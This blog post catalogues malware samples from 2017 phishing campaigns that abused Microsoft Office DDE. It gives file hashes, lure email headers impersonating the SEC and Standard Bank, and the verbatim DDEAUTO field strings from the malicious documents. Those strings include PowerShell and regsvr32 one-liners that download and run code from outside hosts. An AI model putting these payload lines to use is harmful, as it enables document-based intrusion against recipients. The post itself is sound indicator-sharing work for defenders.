Raja Oosterink Blog: DDE Command Execution Malware Samples

Here are a few samples related to the recent DDE Command execution

DDE Macro-less Command Execution Vulnerability

Download. Email me if you need the password (updated sample pack)

Links updated: Jan 20, 2023

References

Reading:
10/18/2017 InQuest/yara-rules

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger

10/10/2017 NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e.

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e "

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe Poland payload
09d71f068d2bbca9fac090bde74e762b

Message information

For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])

by m0049925.ppops.net with ESMTP id 2dhb488ej6-1

(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)

for <snip>; Wed, 11 Oct 2017 00:09:20 -0400

Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)

(envelope-from <EDGAR@sec.gov>)

id 1e28HE-0001S5-Ew

for <snip>; Wed, 11 Oct 2017 00:05:48 -0400

To: <snip>

Subject: EDGAR Filings

X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75

X-PHP-Originating-Script: 658:class.phpmailer.php

Date: Wed, 11 Oct 2017 04:05:48 +0000

From: EDGAR <EDGAR@sec.gov>

Reply-To: EDGAR <EDGAR@sec.gov>

Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>

X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com

X-AntiAbuse: Original Domain - nu.com

X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]

X-AntiAbuse: Sender Address Domain - sec.gov

X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed

X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo

X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp

X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php

X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples

X-CLX-Shades: Junk

X-CLX-Response: <snip>

X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,

signatures=0

X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0

suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262

lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk

adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000

definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: multipart/alternative;

boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>

--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>

--b1_7608a3de5fe6c9bf7df6782a8aa9790f--

for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

Received: from VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) by

AM4PR08MB2659.eurprd08.prod.outlook.com (10.171.190.148) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

15.20.77.7 via Mailbox Transport; Thu, 12 Oct 2017 10:45:16 +0000

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VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

15.20.77.7; Thu, 12 Oct 2017 10:45:15 +0000

Received: from VI1PR0802CA0047.eurprd08.prod.outlook.com

(2603:10a6:800:a9::33) by DB6PR0802MB2600.eurprd08.prod.outlook.com

(2603:10a6:4:a2::17) with Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7; Thu, 12 Oct

2017 10:45:14 +0000

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VI1PR0802CA0047.outlook.office365.com (2603:10a6:800:a9::33) with Microsoft

SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7 via Frontend

Transport; Thu, 12 Oct 2017 10:45:14 +0000

Received: from za-hybrid.mail.standardbank.com (147.152.120.47) by

DB3FFO11FD006.mail.protection.outlook.com (10.47.216.95) with Microsoft SMTP

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15.20.77.10 via Frontend Transport; Thu, 12 Oct 2017 10:45:12 +0000

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<snip>(10.144.20.58) with Microsoft SMTP

Server (TLS) id 14.3.339.0; Thu, 12 Oct 2017 12:44:35 +0200

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<snip> with Microsoft SMTP Server

id 8.3.389.2; Thu, 12 Oct 2017 11:43:42 +0100

Received: from cluster-a.mailcontrol.com (unknown [85.115.52.190]) by

Forcepoint Email with ESMTPS id AC3EDEB6D852BD348649; Thu, 12 Oct 2017

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rly14a.srv.mailcontrol.com (MailControl) with ESMTP id v9CAhaCs039950; Thu,

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11:43:36 +0100

Received: from mx1.ssl-secure-mail.com (mx1.ssl-secure-mail.com

[188.166.157.242]) by rly14a-eth0.srv.mailcontrol.com (envelope-sender

<Emmanuel.Chatta@stadnardbank.co.za>) (MIMEDefang) with ESMTP id

v9CAhZoc039719 (TLS bits=256 verify=NO); Thu, 12 Oct 2017 11:43:36 +0100

(BST)

Received: from authenticated-user (mx1.ssl-secure-mail.com [188.166.157.242])

(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client

certificate requested) by mx1.ssl-secure-mail.com (Postfix) with ESMTPSA id

571CD1511D4; Thu, 12 Oct 2017 06:43:35 -0400 (EDT)

From: Emmanuel Chatta <Emmanuel.Chatta@stadnardbank.co.za>

To: <snip>

Subject: Document

Thread-Topic: Document

Thread-Index: AQHTQ0cx2UbfjWEaCEK0bdQsLAkUYA==

Date: Thu, 12 Oct 2017 10:43:35 +0000

Message-ID: <f8c34a32397e02274fd65930045f0204@ssl-secure-mail.com>

Content-Language: en-US

X-MS-Exchange-Organization-AuthSource: <snip>

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

received-spf: Fail (protection.outlook.com: domain of <snip> does

not designate 147.152.120.47 as permitted sender)

receiver=protection.outlook.com; client-ip=147.152.120.47;

helo=<snip>;

x-scanned-by: MailControl 44278.1987 (www.mailcontrol.com) on 10.65.1.124

x-mailcontrol-inbound: 4HEeExWtV!H1jiRXZJTT7wjEcFneOidAa+WVdv9sScH43ayzJcnLn4fvVkSq3YGx

x-ms-publictraffictype: Email

X-Microsoft-Exchange-Diagnostics: 1;AM4PR08MB2659;27:42C8MVC/6E4KnuK79xnDQihs/aWUnFSYSvMpUq/ZWFgliSK+uNXwEUaalqg0K4Ukdn7mPjI/6bOflK6H4WqZhQpH28iVAkhECXI6saRJPgqIf8Vn6JKx/rSyKhnUCz+c

Content-Type: multipart/mixed;

boundary="_002_f8c34a32397e02274fd65930045f0204sslsecuremailcom_"

MIME-Version: 1.0

Raja Oosterink Blog

Saterdag 20 Januarie 2024

DDE Command Execution Malware Samples

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